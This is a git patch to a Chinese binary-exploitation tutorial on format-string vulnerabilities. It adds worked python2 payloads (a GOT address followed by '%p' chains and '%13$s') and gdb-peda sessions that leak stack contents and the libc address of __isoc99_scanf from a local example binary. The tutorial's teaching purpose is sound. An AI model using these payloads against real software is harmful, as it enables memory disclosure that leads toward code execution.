From e6c716c29bdc0fd63180bee0992843a9a4a1c997 Mon Sep 17 00:00:00 2001 From: firmianay Date: Sun, 10 Sep 2017 00:54:08 +0800 Subject: [PATCH] update --- doc/3.3.1_format_string.md | 81 +++++++++++++++++++++++++++++++++++--- 1 file changed, 75 insertions(+), 6 deletions(-) diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index d7fd466..07b04e7 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -104,7 +104,7 @@ Dump of assembler code for function main: End of assembler dump. ``` ```text -gdb-peda$ s +gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc @@ -160,7 +160,7 @@ void main() { ``` 反汇编后的代码同上,没有任何区别。我们主要看一下参数传递: ```text -gdb-peda$ +gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x56557000 --> 0x1efc EBX: 0x56557000 --> 0x1efc @@ -219,7 +219,7 @@ void main() { } ``` ```text -gdb-peda$ +gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd1fa ("Hello %x %x %x !\n") EBX: 0x56557000 --> 0x1ef8 @@ -584,7 +584,6 @@ Reading symbols from a.out...(no debugging symbols found)...done. gdb-peda$ b printf Breakpoint 1 at 0x8048350 gdb-peda$ r < text -Starting program: /home/firmy/Desktop/RE4B/a.out < text [----------------------------------registers-----------------------------------] EAX: 0xffffd584 --> 0xffffd57a ("ABCD") EBX: 0x804a000 --> 0x8049f14 --> 0x1 @@ -649,9 +648,79 @@ Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries: 0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0 0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7 ``` -`.rel.plt` 中有四个函数可供我们选择,但是这里就有一些技巧了。 +`.rel.plt` 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 `printf`、`__libc_start_main`、`putchar` 和 `__isoc99_scanf`: +``` +$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out +.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025 +$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out +.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e +$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out +.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e +$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out +▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e +``` +细心一点你就会发现第一个(`printf`)的结果有问题。我们输入了 `\x0c\xa0\x04\x08`(`0x0804a00c`),可是 13 号位置输出的结果却是 `0x2e0804a0`,那么,`\x0c` 哪去了,查了一下 ASCII 表: +``` +Oct Dec Hex Char +────────────────────────────────────── +014 12 0C FF '\f' (form feed) +``` +于是就被省略了,同样会被省略的还有很多,如 `\x07`('\a')、`\x08`('\b')、`\x20`(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(`__isoc99_scanf`)。 +``` +gdb-peda$ q +[firmy@firmy-pc RE4B]$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text +[firmy@firmy-pc RE4B]$ gdb -q a.out +Reading symbols from a.out...(no debugging symbols found)...done. +gdb-peda$ b printf +Breakpoint 1 at 0x8048350 +gdb-peda$ r < text +[----------------------------------registers-----------------------------------] +EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) +EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7e27c1b : ret + 0xf7e27c1c: xchg ax,ax + 0xf7e27c1e: xchg ax,ax +=> 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> + 0xf7e27c25 : add eax,0x16f243 + 0xf7e27c2a : sub esp,0xc + 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] + 0xf7e27c33 : lea edx,[esp+0x14] +No argument +[------------------------------------stack-------------------------------------] +0000| 0xffffd54c --> 0x8048520 (: add esp,0x20) +0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) +0008| 0xffffd554 --> 0x1 +0012| 0xffffd558 --> 0x88888888 +0016| 0xffffd55c --> 0xffffffff +0020| 0xffffd560 --> 0xffffd57a ("ABCD") +0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) +0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value -啊,要到12点了,先push了,打卡要紧,打卡要紧。 +Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +gdb-peda$ x/20w $esp +0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888 +0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc +0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 +0xffffd57c: 0x00004443 0x00000000 0x0804a018 0x24333125 +0xffffd58c: 0x00f00073 0xffffd5ca 0x00000001 0x000000c2 +gdb-peda$ x/w 0x804a018 +0x804a018: 0xf7e3a790 +gdb-peda$ c +Continuing. +▒���� +``` +虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。 #### 覆盖栈内容